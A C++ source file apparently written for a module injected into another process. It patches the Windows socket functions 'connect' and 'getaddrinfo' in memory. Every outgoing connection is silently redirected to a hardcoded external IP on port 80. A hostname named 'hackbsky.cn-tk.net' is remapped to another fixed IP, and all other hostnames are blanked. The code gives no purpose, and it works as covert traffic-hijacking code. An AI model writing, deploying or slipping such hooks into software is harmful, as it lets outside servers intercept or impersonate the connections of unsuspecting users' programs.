/**
 * @author LIU YUAN
 * @date JAN 15, 2013 11:12:21 AM
 * @param <T>
 */
#include "stdafx.h"
#include "hook.h"
#include "InjectUtils.h"
#include "Asm.h"
#include "Call.h"
#include "NearJmp.h"
#include "DataBlock.h"
#include "libdasm.h"
#pragma comment(lib, "Ws2_32.lib")

extern HMODULE module;
void WINAPI socketConnectHook(){
	HANDLE hProcess = GetCurrentProcess();
	HMODULE hModule = LoadLibraryA("ws2_32");
	
	DWORD targetFunAddr = (DWORD)CInjectUtils::GetFunctionAddr("ws2_32","connect");
	if(targetFunAddr){
		DWORD hookCodesAddr = (DWORD)VirtualAlloc(NULL,MAX_BUFFER,MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		DWORD hookCodesSize = 0;
		ULONG ip = inet_addr("184.22.29.188");//inet_addr("127.0.0.1");//inet_addr("218.206.179.141");
		USHORT port = htons(80);
		BYTE hookCodes[24] = {
			0x55,                               //PUSH EBP
			0x8b,0xec,                          //MOV EBP,ESP
			0x8b,0x45,0x0c,                     //MOV EAX,DWORD PTR SS:[EBP+0x0c]
			0xC7,0x40,0x04,0x0,0x0,0x0,0x0,     //MOV DWORD PTR DS:[EAX+0x4],0x0
			0x66,0xC7,0x40,0x02,0x0,0x0,        //MOV WORD PTR DS:[EAX+0x2],0x0
			0xE9,0,0,0,0                        //JMP to connect
		};
		CopyMemory(hookCodes+9,&ip,4);
		CopyMemory(hookCodes+17,&port,2);
		DWORD offset = targetFunAddr - hookCodesAddr - 19;
		CopyMemory(hookCodes+20,&offset,4);
		hookCodesSize = 24;

		BOOL nRet = WriteProcessMemory(hProcess, (LPVOID)hookCodesAddr,hookCodes, hookCodesSize, NULL);
		if(!nRet)
		{
			alert("WriteProcessMemory failed!");
			VirtualFree((LPVOID)hookCodesAddr,MAX_BUFFER,MEM_RELEASE);
			CloseHandle(hProcess);
			return;
		}

		upupc::NearJmp jmpToHookCodes;
		jmpToHookCodes.setParameter(hookCodesAddr);

		CHAR* jmpCodes = jmpToHookCodes.parse(targetFunAddr);

		DWORD dwNewFlg = PAGE_READWRITE;
		DWORD dwOldFlg;
		VirtualProtect((LPVOID)targetFunAddr,jmpToHookCodes.size(),dwNewFlg,&dwOldFlg);

        CopyMemory((void*)targetFunAddr,jmpCodes,jmpToHookCodes.size());

		dwNewFlg = dwOldFlg;
		VirtualProtect((LPVOID)targetFunAddr,jmpToHookCodes.size(),dwNewFlg,&dwOldFlg);
	}
}

void WINAPI getaddrinfoHook(){
	HANDLE hProcess = GetCurrentProcess();
	HMODULE hModule = LoadLibraryA("ws2_32");
	
	DWORD targetFunAddr = (DWORD)CInjectUtils::GetFunctionAddr("ws2_32","getaddrinfo");
	if(targetFunAddr){
		DWORD hookCodesAddr = (DWORD)VirtualAlloc(NULL,MAX_BUFFER,MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		DWORD hookCodesSize = 0;
		PSTR ip = "218.206.179.141";//"127.0.0.1";//"218.206.179.141";
		DWORD iplen = strlen(ip);
		PSTR port = "80";
		DWORD portlen = strlen(port);

		CHAR tempCodes[50] = {
			0x55,                               //PUSH EBP
			0x8b,0xec                          //MOV EBP,ESP
		};
		upupc::Asm mAsm;
		upupc::DataBlock dataBlock(tempCodes,3);
		upupc::Call call;
		upupc::NearJmp jmp;

		call.setParameter((DWORD)MyHook);
		jmp.setParameter(targetFunAddr+5);
		mAsm.append(&dataBlock);
		mAsm.append(&call);
		mAsm.append(&jmp);
		PSTR hookCodes = mAsm.parse(hookCodesAddr);
		hookCodesSize = mAsm.size();

/*
		BYTE hookCodes[50] = {
			0x55,                               //PUSH EBP
			0x8b,0xec,                          //MOV EBP,ESP
			0xC7,0x45,0x08,0x0,0x0,0x0,0x0,     //MOV DWORD PTR SS:[EBP+0x8],0x0
			0xC7,0x45,0x0C,0x0,0x0,0x0,0x0,     //MOV DWORD PTR DS:[EAX+0xC],0x0
			0xE9,0,0,0,0                        //JMP to connect
		};
		SecureZeroMemory(hookCodes+22,28);
		CopyMemory(hookCodes+22,ip,iplen);
		CopyMemory(hookCodes+22+iplen+1,port,portlen);

		DWORD ipAddr = hookCodesAddr + 22;
		DWORD portAddr = ipAddr + iplen + 1;

		CopyMemory(hookCodes+6,&ipAddr,4);
		CopyMemory(hookCodes+13,&portAddr,4);
		DWORD offset = targetFunAddr - hookCodesAddr - 17;
		CopyMemory(hookCodes+18,&offset,4);
		hookCodesSize = 50;
*/
		BOOL nRet = WriteProcessMemory(hProcess, (LPVOID)hookCodesAddr,hookCodes, hookCodesSize, NULL);
		delete hookCodes;
		if(!nRet)
		{
			alert("WriteProcessMemory failed!");
			VirtualFree((LPVOID)hookCodesAddr,MAX_BUFFER,MEM_RELEASE);
			CloseHandle(hProcess);
			return;
		}

		upupc::NearJmp jmpToHookCodes;
		jmpToHookCodes.setParameter(hookCodesAddr);

		CHAR* jmpCodes = jmpToHookCodes.parse(targetFunAddr);

		DWORD dwNewFlg = PAGE_READWRITE;
		DWORD dwOldFlg;
		VirtualProtect((LPVOID)targetFunAddr,jmpToHookCodes.size(),dwNewFlg,&dwOldFlg);

        CopyMemory((void*)targetFunAddr,jmpCodes,jmpToHookCodes.size());

		dwNewFlg = dwOldFlg;
		VirtualProtect((LPVOID)targetFunAddr,jmpToHookCodes.size(),dwNewFlg,&dwOldFlg);
	}
}

void WINAPIV MyHook(
	LPVOID nothing1,
	LPVOID nothing2,
	__in_opt        PSTR               pNodeName,
    __in_opt        PSTR               pServiceName,
    __in_opt        const ADDRINFOA *   pHints,
    __deref_out     PADDRINFOA *        ppResult){
	if(pNodeName){
		if(strcmp(pNodeName,"hackbsky.cn-tk.net")==0){
			strcpy_s(pNodeName,16,"218.206.179.141");
		}else{
			strcpy_s(pNodeName,1,"");
		}
	}
}

